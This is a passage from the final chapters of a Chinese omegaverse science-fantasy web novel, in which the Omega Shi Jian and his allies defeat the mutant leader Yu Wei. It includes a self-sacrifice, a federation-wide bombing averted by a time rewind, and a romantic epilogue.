“这些Alpha等级太高,又是非自愿,我没办法坚持太久。”雷雨痛得抽气。 这不像他对时茧使用的那次,极端组织的成员都全身心的信任他,甘愿将生命寄托存放在他们所认为的最高等级的Omega身上,就像工蜂无条件地喂养供奉蜂后,所以他才能那么顺利地搭建起时茧与数百个人之间的生命链。 余维的五官在赤焰的映照下已经无限扭曲,见状,阴森森地抽动了下嘴角:“居然还有这一手,倒是我小瞧了你们。” 说罢又遥遥看向对面天台,看着铺天盖地般朝着时茧飞扑而去的亲信们,露出一个轻蔑地笑:“可惜,不过是飞蛾扑火,垂死挣扎罢了。” 然而下一刻,他形似兽类的横眸突兀瞪大,笑容凝固在脸上—— 数颗淬着碧绿毒液的子弹破风而来,精准无比地射入距离时茧最近、意图动手的Alpha们脖颈,这些人刹那间便收回手,痛苦地捂住脖子,因窒息而发出“嗬”、“嗬”的抽气声。 十几秒后,便形状难看地倒在地上,彻底失去了呼吸。 一时间,所有人都警铃大作,那些冲在最前面的亲卫见状,也都有些犹豫地收回了手,茫然而恐惧地到处搜寻究竟是哪里射来的子弹。 哪怕余维,突然之间都没能反应过来,只是深深地皱着眉头,思考是哪一个环节出了问题。 唯独时茧。 他顺着子弹射来的方向,即使这个距离无法看清楚目标,也仿佛正在和瞄准倍镜后的狙击手对视般,深深地看过去。 温隅安在与时茧的蓝眸对上那一刻,大脑兴奋得炸起烟花。 好美好美好美好美……… 处在危险中冷静自若的小茧,居然这么美…… 很快,余维也发现了问题所在,冷笑一声:“动作倒是挺快的,可惜这里完全是我的地盘,强龙可压不了地头蛇,何况姓温的不过也是条黑曼巴,能成什么气候。” 他命令亲信:“把他们抓过来。我倒要看看有人质在我手上,他们还敢不敢轻举妄动。” 亲信点头遵命,凝聚起精神力,再次催动AS,很快一股从血管里蔓延而上的寒意便席卷了余宸等人,将他们的下肢和双手冻得完全无法自如活动。 余宸悲哀地做着无谓的殊死抵抗,然而根本无力阻止亲卫们将他们抓回来跪押在余维面前。 ——其实他做得已经超出了亲信的想象。这个不学无术的二世祖明明只是个A+,却能在他一个S级Alpha的施压下硬撑了这么久,纵使有那个Omega的辅助,却也已经足够让人刮目相看了。 仅仅就只是为了那个蓝发Omega吗?不过是一点喜欢而已,值得付出这么大的代价? 明明顺从上将,就可以抱得美人归,甚至让其诞下有自己一份基因的强大异种,何乐而不为呢,为什么偏偏要反抗? 这个问题,亲信作为一个变异异种想不出答案,但如果让余宸自己来回答,那他永远也只有一个选择—— 忠于时茧。 过去犯下的错无可弥补,但余宸不希望时茧再因为自己受到哪怕一丁点的伤害,即使这代价是要他为此付出生命,他也心甘情愿。 余维没有注意到儿子紧紧盯着他、亮得出奇的眼睛,只是幻化出一柄吹毛可断的银刀,抵在雷雨脖间,阴测测地看向对楼的时茧。 “让我们停止这些无谓的死亡如何?我无意伤害你和你的同伴,只是恳切地希望你能帮我们诞下异种之王。只要你答应我,无论你提出什么条件,我都可以满足你,连同你的家人、朋友,我都能够保证他们的安全。” 余维诱惑道:“这难道不是一笔很划算的买卖吗?人类这样脆弱的生命,注定是要被更强大的生命体取代的,我们作为异种,只是在物种更替的时候肩负起了这样的使命,我们本身没有错。而你作为孕育了最强大的异种的高贵母体,自然也会受到所有异种们的顶礼膜拜,尤其是你诞下的那些异种,更是会将你视作生命中最重要的母亲,他们会保护你、爱戴你,比你九死一生守护的人类更加依恋你。这样纯粹的感情,才是你真正值得守护的啊!” 硕大的银月仿佛挂在高楼,给时茧清瘦的轮廓勾勒出一道清冷的银边,显出他的十足疏离。 他有些倦怠地抬起眼皮,冷漠地看向眼前这些乱象,淡声道:“不好意思。” “我没有给杂种当妈的癖好。” 第93章 第 93 章 大结局(三) 余维抽动着嘴角, 露出一个丑陋扭曲的笑,轻轻挥挥手:“既然你敬酒不吃吃罚酒,那我也也只能用一点不那么绅士的手段了。” 说罢, 他们肉眼所及的范围里, 所有的金属物品全部开始扭曲变形,像被一块巨大的磁铁吸引着那般, 朝着余维所站的地方呈扇形排列, 组成一道厚重的金属幕墙, 完全遮挡了狙击手的方向。 雷雨瞳孔缩紧, 下意识地喊了句:“不好!” 原绣挣扎想冲上去, 然而刚有动作, 便被旁边的Alpha一脚踹翻, 趴伏在地上不停咳血。 余维笑眯眯道:“我的战士们, 将我们至高无上的母亲带回来吧, 他将会给予新生代异种更强大的基因。” Alpha们没了顾忌, 紧张的表情顿时松懈, 摩拳擦掌一哄而上。 只是比时茧的衣角先抓到的, 却是一把凌冽的银刃。 最先倒下的Alpha还保持着志在必得的轻松微笑,眼睛里倒是已经映出了一丝发自心底的惊骇和恐惧,他的尸体还没有完全倒地, 后方准备偷袭的同伴脖间一凉,下意识地拿手去捂, 指缝间流出的是同样温热的鲜血。 顷刻间便折损两人,而他们中的绝大多数人甚至没有看清楚时茧是何时出的手,银光晃眼之际,还都以为又是哪个藏匿在暗处的外援,一时被震慑得不敢轻举妄动。 他们面面相觑, 互相看一眼,心里清楚有余维的金属幕墙干扰战场视线,哪怕是有外援也根本看不见他们和时茧现在所处的位置,更遑论精准支援。 但他们更想不明白一个Omega而已,为什么能做到这种地步。 再次看向蓝发少年的眼神不再仅有惊艳,更多的,是新蔓延出的惊惧和恐怖,无一不在心中暗忖:这真的是Omega吗? 而一墙之隔后,余维尚未发现异样,同样失去视野的温隅安也倍感棘手,寻找机会的同时,只能暂时先将火力支援给到行政园区外正浴血奋战的先锋小队。 一串子弹精准地收割掉沈行川身后想要偷袭的敌人,半兽化的Alpha和被召唤出的漂亮金狮都下意识地回头,朝着子弹射来的方向看了一眼,比出一个“OK”的手势。 下一秒,又是一颗子弹擦着他的头发丝射穿左前方的变异异种,被团团围住的隋边方才找到机会脱身,迅速和沈行川集合,救下另一个危在旦夕的队员。 温隅安一边总揽战局,一边分出注意力放在顾识云那边,几乎是作为全联邦最高战力的S+Alpha根本没有任何对手,余维无论派出多少人阻拦他,也不过是螳臂当车,s 但奈何余维的高等级战力充足,又完全被他洗脑,这种根本不要命的自杀式袭击一时间竟真的拖延到时间,让顾识云即便呈碾压态势,一时半会儿也杀不进内围。 战局朝着余维这方倾斜,那种势在必得的高姿态让雷雨等人愈发痛恨,却被控制着只能眼睁睁地看着时茧为了救他们而落入险境。 雷雨自恨道:“如果不是我,小茧就不会遭遇这么多意外,我简直就是这个世界上最没用的废物!” 原绣受伤严重,已说不出什么话,只能挣扎着看向时茧的方向,却被金属幕墙挡住视线。 然而无论是他们,还是余维,此刻都没有注意到余宸本就赤红的眼睛里逐渐蔓延出正在燃烧的焰纹,他凄厉地嘶吼一声,身体凭空自燃,爆发出青到发白的异色火焰,极致的高温令周围的空气都具现化地扭曲成水波状,在雷雨和原绣错愕的眼神中,像一颗破空而出、呼啸着燃烧的子弹,又像一块崎岖的、绝望坠下已无法返回的陨石,朝着余维极速冲去。 这变故发生得太快,哪怕是余维也没有在第一时间发现,即使只晚了那么千分之一秒的反应,他也被四面八方的火海断了去路,有几分不可置信地看着那个勉强算是他“儿子”的火人以一种必死的决心,冲着自己奔来。 余维的四肢立刻开始异变成金属,泛着瑰丽色彩的合金在一瞬间覆盖他的全身,仅仅只差脸部还差一点时,余宸已经近了他的身,伸出被烧得只剩森森白骨的手,如抓夹般紧紧抱住他。 加到最快的速度没有因为这一点微不足道的撞击而受到任何影响,依旧以120/h的时速轰然冲破栏杆,双双跌下天台。 一瞬间,战局完全失去控制,连半空中那道金属幕墙迅速肢解,令时茧和不在现场的温隅安都目睹了这一幕。 这一切只发生在零点几秒之间,作为在场基因等级最高的余维尚且未能躲过,更遑论其他不如他的属下。 所有人都只能眼睁睁地看着这惊奇的一幕发生,却没有任何人可以阻止。 余宸再是不堪大用,他也依旧是实打实的战斗型A+Alpha,基因等级仅次于S级,何况他是以生命作为燃料而召唤出的足以焚尽任何事物的火焰,又怎么可能轻易熄灭。 余维纵使将躯体金属化保全自己,但余宸嘶吼着愤怒着释放出的火焰却让他也无法抵抗,在接触到这簇火焰的刹那,一道拉长的、凄厉到极致的惨叫响彻整个行政园区,闻着无一不为之心寒,后背猛然一冷,仿佛正在遭受那极度的灼伤之痛的人被换成了自己。 余维的叫声实在太瘆人—— 痛!好痛!!他要被烧死了!!!他好想死啊!!!! 让他死让他死让他死让他死!!!! 火,火,火……别过来,别过来!!! 他发疯般催动AS,召唤出无数金属利剑,天上地下、如网般朝余宸倾泻而来,将他几乎捅穿成碎片,血和肉燃烧着、拖着长长的尾焰,从百米高空暴雨般降落。 火红的流星雨映亮了整片行政园区的上空,将每一个人下意识仰起的脸都映照得通红,惊讶地、震撼地看着那两团紧紧抱在一处的火球。 余宸没有任何防身后路,所承受的炙烤比余维更甚千倍万倍,短短几秒的燃烧和刀剑切割让他已经不能够被称为一个人,而更像是无数团熊熊燃烧的火球,血肉就是源自他灵魂深处最纯粹最疯狂的那簇火焰的燃料,等什么时候这具躯体被烧得一干二净连一搓灰都不再留下,那什么时候这团火焰才会彻底熄灭。 坠落的过程明明只有两三秒,却被拉得仿佛电影的慢放镜头般延长、清晰,过往的记忆一帧帧浮现在余宸被火烧得不知还能否被称为大脑的脑海中,走马灯似的画面一一闪过后,最后一刻在他耳边响起的声音,却是他人生中最不堪的、在医院那晚时,那位上将冷彻入骨的声音。 ‘你不配出现在他面前,你的名字、生死,都和他没有一丝一缕的瓜葛,你也休想有这份瓜葛。’ 是吗。 那可不一定啊…… 在意志也随着肉、体崩盘前的最后一刻,余宸那与火焰融为一体的眼睛深深地、眷恋地,看向挂在楼顶的那一轮明月。 他露出一个胜利者的微笑。 这是一次只为你而燃烧的火焰。我用我的死换你的生。我曾经对不起你。你以后再也忘不掉我的名字。 大小姐,你也可以只记住我的代号。 我当然是最嚣张,最跋扈,最爱欺负你的但是也最想跟你说一声对不起的,第一军区的太子爷。 还有一句话有点遗憾没当面告诉你,如果有下辈子的话…… 他眼前的月亮模糊了一下,取而代之地是一双刻骨铭心的冰蓝眼眸。 余宸的声带已经被烧坏,火海中,他的嘴唇蠕喏着,只隐约辨认得出似乎说了三个字。 但最后,所有或许发出过声音、没发出过声音的,只有一个人能够听到的话,都淹没在一声巨大的、重物坠地的响声中。 雷雨和原绣在余宸燃烧着冲出去的那一刻便猛地喊出他的名字,没有人能想到这个一向爱仗势欺人又嚣张跋扈的太子爷竟能爆发出这种令所有人都为之心惊的勇气。 他们心存着一丝侥幸,够着青筋暴起的脖子向楼下看去,试图得到一个奇迹。 因强大冲击力而扬起的烟尘散去后,散落在水泥地上的团团火焰也渐渐熄灭,只在地面现出一点点焦黑的痕迹。 余宸消失了。 余维却还没死。 他从金属烧化的铁水中扭曲着肢体爬起来,已经没有了人类的外貌和形状,却也不像异种,浑身都是腐烂焦黑的肉块挂在骨头上,一颗头颅更是烧得无法辨认。 心理承受能力低的,看见这一幕当即吐了出来,哪怕是他最受信任的几个亲属,也都纷纷露出了难以形容的表情。 余维愤怒地、像头中了陷阱的野兽般嘶吼着,发动AS,用软金属将全身上下彻底包裹,只露出一双烧得焦烂的眼睛,一挥手便将刚刚吐出来的几人拦腰斩断。 雷雨忍下不适,冲时茧大吼:“走啊!!!我不要你救!!!” 时茧听见了他的声音,却怔怔地呆在原地,似乎还没有从刚刚那炽烈的火浪中缓过神。 余维的声带被烧毁,声音嘶哑难听,如地狱爬出来的恶鬼般,已然失去了所有理智:“走?你们谁都不可能从这里离开,整个联邦和人类都要为此付出代价!!” “我要杀光你们!!让这片土地彻底沦为人间炼狱!!!!” 第94章 第 94 章 大…… 突然, 一颗子弹直冲着余维眼睛而来,本该是极快的轨道,但在S级的眼里, 那破开空气的轨迹却仿佛电影慢放般, 在即将爆掉他的脑袋前一秒,被金属操纵的AS融化成铁水。 余维还没来得及扬起嘴角, 被顾识云一个强劲有力的扫堂腿抽出去十米, 翻滚几周后, 在金属外壳的顶级防御下, 没事人般站起。 直到顾识云出现, 天台上与月亮站在一处的时茧才猛然回过神般, 有些不可置信地看向那沉默的白发青年, 脑海里依旧是与现在的情形对不上号的, 他无声无息躺在病床上的样子。 下一瞬, 顾识云和他的目光对上, 冷厉的眉眼便如骤然融化的冰山, 眼底浮上珍重的浅浅笑意。 时茧看到他说, “好久不见。” 雷雨在看见顾识云现身那刻,惊讶中不自主地松了口气,目睹他和时茧在紧张战局中的短暂对视后, 又不自觉地泛上难言出口的涩意。 先前急着想救出时茧,心里清楚余维多半会杀他泄愤, 也就没来得及思考经历了这种事后两个人以后该如何相见,但这一刻顾识云和时茧之间那种默契氛围的流动,却把他最不敢想的东西逼出水面。 雷雨忍着眼眶的胀痛,无声地望向时茧,他与他的距离, 不知什么时候,竟像人踮起脚尖想要触摸月亮的距离了。 会出现在他眼睛里的人,也早就换了个身影。 雷雨发散思绪乱想的十几秒里,余维和顾识云已经激烈交锋数十轮,两个顶尖的S级直面肉搏拳拳到肉,破坏力却不比使用AS更低,拳风腿风波及之处路灯折断、建筑损毁,看得目击者心惊肉跳。 余维的亲信参与不进这场战斗,融冰做桥率领剩余兵力攻向时茧,余维已经有命令,只要留住这个Omega一口气,无论使用什么手段也必须将他制服。 雷雨猛地回神,惊恐道:“快走小茧!” 顾识云听到他的喊话,即便战场上不能分心,也还是下意识地回头看了眼时茧,余维狞笑着立刻化出一把长剑捅穿他的肩膀:“余宸那个垃圾还是太碍事,浪费了异种伟大的基因,不如注射到你体内,用S+Alpha的身体作为容器一定比他更容易让时茧诞下最强的新代异种!” 疼痛令顾识云转回注意力,毫不在意地拔出剑挥向余维:“仇恨人类,却又如此贪图人类优越的基因,这就是你们异种永远也无法真正进化的原因!” 余维勉力躲开,然而下一刻令他震惊的画面出现—— 顾识云竟然也在催化金属元素! 折断的树枝,路上的石子,水泥电线杆,甚至是整栋建筑……周遭的一切都被他炼化成通体森寒的银矛,密密麻麻地交织成渔网般朝着余维兜头砸下,几乎覆盖了一个足球场的距离,令他避无可避! 余维脸色发寒,居然是触发条件为接触的复制类AS! 单论基因等级,作为联邦皇室的继承者,阿比斯·诺曼的本体早已超越了正常生理判定上的级别,顾识云纵使只是他的精神体化身,一个只继承了一半能力的小号,此刻火力全开的情况下,也是仅有普通S+的余维所无法抵挡的。 他拼命地催动金属元素,将那些试图捅穿他的利刃融化成圆盾,两相僵持片刻后余维渐渐落入下风。 雷雨和原绣见状还没来得及高兴,便听见余维狞笑着,丧心病狂道:“以为这样就能杀了我?还是以为调来军队围剿,就能力挽狂澜?为了这场战斗我早就准备了十几年!整个联邦,从第一军区到第九军区,每一个商场、剧院、体育馆、医院、学习……只要是人多的地方,都被我埋入了总计以数亿吨重量的炸弹。其实真正的聪明人,就应该祈祷我能够顺利地完成杜鹃计划,这样兴许我心情一好,还能留你们一命,否则我就要让你们所有人给我陪葬!” 他疯狂的话语随风传到每一个人的耳朵里,雷雨和原绣已经完全惊住,比起余维是如何在这些年里筹谋算计、瞒天过海地布置下这一切,更让他们感到触目惊心的,却是这人完全泯灭人性的做法—— 这种当量的爆炸一旦发生,受到致命性摧毁打击的难道只有联邦和人类吗?那些被他安插进各个军区势力的变异异种、那些靠近边境线试图冲入的普通异种士兵,甚至是他自己和亲信,不是一样都会被这场末日波及? 可更令人感到毛骨悚然的是,那些受命于余维的变异异种和人类士兵,明明已经清楚地听到了他残暴而疯狂的发言,却没有一个人停下!仍旧像一把没有自我意识的武器般继续战斗! 疯了!他们才是真正的极端主义! 又一个Alpha被时茧割开喉咙,但仍有更多Alpha前赴后继。 少年冷若霜雪的睫毛上沾了几滴被溅上的鲜血,滴滴答答地往下流,将那张精致的、不应该出现在这种场合的脸衬托出嗜血的艳色,仿佛他不应该是一个柔软美丽的Omega,而更像是一柄锋利的、淬着冷光的匕首。 围剿他的人中变异异种和人类Alpha都有,无论种族,每一双眼睛里都充斥着恐惧、忌惮,以及一抹无法忽视的惊艳。 难以想象一个看起来手无缚鸡之力的Omega,脚下堆满了几十具尸体,他没有任何可以用于战斗的异能,仅仅凭借着臻至化境的匕首术和逆于常人的体能,以一敌百,硬生生地挡下了一波又一波的攻击。 他似乎不会害怕,也永远不会累,没有人知道他的极限在哪,只知道如果冲上去时多看了一眼他那冰冷到了极致又漂亮到了极致的蓝眸,那下一秒,这双眼睛就会在自己的生命中永远定格。 亲信同样欣赏一个如此强大的Omega,艳羡又无不遗憾地想,可惜这样的Omega,却不肯顺从与他们合作,以至于损失这么惨重,多年计划也即将功亏一篑。 他拉开冰箭,手下一哄而上:“现在没有人能顾得上你,乖乖束手就擒,还可以少吃点苦头。” 这一刻无数双眼睛都看向时茧,近的远的,担忧的贪婪的,有人拼命地祈祷着祈祷的发生,有人不敢再看闭上眼睛。 即使他是一个S级的Alpha,坚持到现在也该到极限了,更遑论他只是一个没有战斗型AS的天生体能弱于AB的Omega,他已经做到极限,即使是敌对一方也不得不钦佩他。 余维狂躁地大笑起来:“终究还是要落到我手里!派你来对付我又如何?看谁还能救得了他!” 所有人中,唯独顾识云淡然自若:“你以为这样就能打败他吗。” “嘴硬!” 然而下一秒,小苍兰信息素凝实得如爆炸的冲击波般瞬间破开,余维脸色猛然一变,回头一看,离“爆炸中心”最近的人均A级以上的高等级叛军们毫无任何抵抗力地纷纷倒下,肢体瘫软无力,面色潮红,如最下贱的公狗一般,用无比肮脏的渴求眼神,拼命地想要比同伴更快地爬到时茧脚下,试图得到他的一丁半点关注。 哪怕、哪怕只是一个眼神! 也足够他们兴奋无比! 余维脸色大变:“不、不可能!他们都是我最忠心的战士!怎么会!” 雷雨还处在刚刚以为时茧要落入贼手的惊慌之中,脑子比理智更快一步地喃喃道:“差点都忘了,S+可不是他的上限啊……谁说只有Alph的AS才是武器,Omega的信息素……” 更是会击溃所有人心理防线的,不可以被打开的潘多拉魔盒啊。 即使是同为S+的顾识云,都被这无差别攻击的信息素勾出本能,如此冰冷的一个人浑身血液都在无声地沸腾,叫嚣着要撕碎目之所及除了时茧之外的所有会呼吸的生物,把那些跪趴在他身边的通通焚烧成灰,要得到、要占有,要把那个肆无忌惮地散发着信息素的Omega占为己有。 余维惊恐地发现顾识云竟还没使出全力,他不知道是受了什么刺激,那铺天盖地的利刃越发疯狂地倾泻,仿佛一场天外坠落的密集的陨石雨。 余维避无可避,连续使用的AS也到了上限,无法再抵挡更多的利刃,在刺眼而持续的电光火石之下,保护他的像地堡一样的金属防御体以肉眼可见的速度被一寸寸消磨,因受击而被动地迅速提升温度,最终竟像是自己画地为牢般,给自己打造了一个灼烫的、几乎快要融化的炼铁炉。 顾识云已经杀红了眼,任何试图阻挡他去到时茧身边的妨碍都会被他彻底清除,余维没有支撑太久,金属防御破掉之后几乎是案板上任由宰割的肉,像被他亲手凌迟的余宸死前所承受的那种极端痛苦般,被利刃一片片的割开血肉,被削成白骨架子。 他没有想过自己会败得这么快、死得这么痛苦这么难看,在要下地狱前嚣张地、疯狂地大笑着:“启动炸弹的遥控器就装在我的心脏里,我要让你们全都给我陪葬!” 雷雨立刻叫住顾识云:“不要!” 时茧背着圆月,束起的蓝发散在空中,给他的轮廓披上一层温柔又冷冽的银光,他高高地一跃而起,从二十几楼纵身跳下,冷静的声音被风送到顾识云耳中,让他几乎是立刻清醒过来: “停下!” 顾识云立刻住手,余维只剩下最后一口气,S级的身躯并不会立即死亡,但他自知已经无路可退,狞笑着伸手刺进胸膛,将那颗与人类无异的鲜红心脏拽住,毫不犹豫地捏爆—— “都去死吧!都去死吧!” 血肉横飞间,也爆出一地电子零件,雷雨脸色一白:余维没有说谎! 那么他说的那些要将整个联邦覆灭的话—— 也全是真的! 突然!就在余维自己的行政园区,爆炸的火光接连亮起,热浪远远袭来,地面和楼板都如同地震般剧烈摇晃起来,顾识云立刻飞奔向时茧,开启君主领域,将他紧紧地搂在怀里。 一阵令人臣服的威压如圆盖落下般覆盖了整栋A1实验楼,顾识云公主抱着时茧,几次借力便跳上楼顶,单手搂着怀里的人,替雷雨和原绣解开束缚。 雷雨白着脸:“这是小茧父亲的AS……但也撑不了太久,每个军区的行政园区里都是有弹药库的,一旦爆炸波及到那里,整个首府都会瞬间夷为平地,无论是再强大的AS都改变不了结局,其他附庸城市也都如此——” “我们应该,只剩下最多一分钟的时间了。” 生死当前,顾识云依旧冷静,远处还在响起接连不断的爆炸,而他在火焰与硝烟中选择吻上时茧的唇。 “生命最后一刻,请让我与你共度。” 雷雨:“那我呢?” 原绣:“……” 现在好像不是让你玩浪漫的时候。 顶着这两个大灯泡,末日前生死相托的氛围完全没有,时茧一把推开顾识云,冷着脸吐槽道:“等没人的时候再亲。” 雷雨很佩服他们俩死到临头还能如此淡定的Bking气质,但他一个俗人,所剩时间不多,却只想和时茧真心诚意地道一次歉:“如果时间能够重来,我希望你从来没遇见过我,也就不会遭受这么多由我强迫性地带给你的无妄之灾。” 时茧反问道:“你真的希望从没有遇见过我?” 顾识云抢答道:“我希望能够更早一点遇见你。最好是从你一出生开始,我就认识你。我们相遇的时间太晚,你的人生,有太多我都还没参与。” 雷雨不服气道:“就算你跟小茧……那也不行!我才是他的竹马!” 时茧:“所以你是撒谎的。” 雷雨颓然地低下头,不敢看他的眼睛:“我做了太多错事……不配再出现在你的生命中。” 时茧没再说话。他转身,由高处向外眺望。 爆炸的火光映亮了漆黑的夜空,远处的天边也泛起闪烁的白光,此时此刻整个联邦每个角落都在发生着爆炸,即便已经提前将这个情报告知给时藏锋,就这么一点时间,他们也根本拆除不了多少炸弹。 甚至因为直面前线,时藏锋遇到的危险会更大。 但他本不需要做这些事,这种人类灭绝程度的爆炸不是他一个人能够阻止得了的,相反他拥有君主领域这样的AS,即使爆炸来临,也可以靠这个AS保全自己。 就像上一世,在末世之时,他用君主领域保全了自己一样。 可时茧不想再一个人苟活了。 在他想起前世今生所有的记忆之时,他就立刻明白自己为什么要觉醒那样一个有违天理、需要付出极大代价的AS,不想要无能地、被动地被保护,也想要变得更加强大,去守护想要守护的人。 今生的遭遇溯源到底,竟是前世的选择,时茧未曾后悔。因为再一次面对同样的选择时,他依旧会做出那个同样的决定—— 不惜任何代价。 顾识云将时茧搂入怀中,把头按在自己的胸膛上,替这具单薄的身体挡去夜晚寒凉的风,在他凌乱的发顶轻轻地印下一吻。 “无论故事的结局翻到那一页,我都会陪着你。” 那一晚所有惊慌失措、痛哭流涕的人们抬起头,与末日一同到来的,是远方一道突然出现却又华丽绚烂的极光,仿佛蝴蝶的翅膀般延伸缓缓流淌。 时针转动的幻听压下巨大的爆炸声响,滴答、滴答—— 时间在飞快地……倒退。 星空扭曲成深邃的漩涡,似乎要将一切光亮卷入其中。 因果级特殊精神体黎明闪蝶,触发AS,时间虫洞。 跨过这条时间的河流,由他来决定,故事重启在哪一日。 —— 六月最后一天,联考结束。 雷雨举着两个冰淇淋、顶着烈日朝时茧跑过来,一转身,和时茧并肩着融入离校的人群之中。 “嘻嘻,我就知道你会顺利分化成S+的Omega,走走走咱们快回去吧,时叔叔和你的两个哥哥不是都准备好庆功宴了,都等着你呢!” 他吃完一个冰淇淋头,又有点馋地盯着另外一个。 时茧有点没办法地笑了笑:“我不喜欢吃太冷的。你吃吧。” “好耶!” 但这份欢呼雀跃在遇到那辆拦道的出自皇室的保姆车停在他们面前后戛然而止,雷雨有点敌视地盯着从车上下来的Alpha,一伸手把时茧拦在身后:“喂喂喂,你来干嘛。” 顾识云撑开伞,递到时茧头上,与他对视轻笑一声:“来接我的太子妃。怎么?不对么?” 周围立刻有Alpha看过来,羡慕又嫉妒的视线很明显。 时茧从雷雨身后走出,和他一起上了车。 雷雨对顾识云翻了个白眼,去副驾驶了。 中途,时茧贴着顾识云的耳朵,低声道:“下次低调点。” 顾识云放下车帘,圈住他,有侵略性地凑到耳边:“我不喜欢那些Alpha看你的眼神。” 时茧淡淡地笑了一下,用只有他们两个人才能听见的声音:“那么难的愿望都给你实现了,从小待在我身边,还没有习惯一个高等级Omega会招惹来的麻烦吗?” 顾识云咬住他耳垂:“不习惯。尤其是我父亲那个麻烦。”【你现在阅读的是 】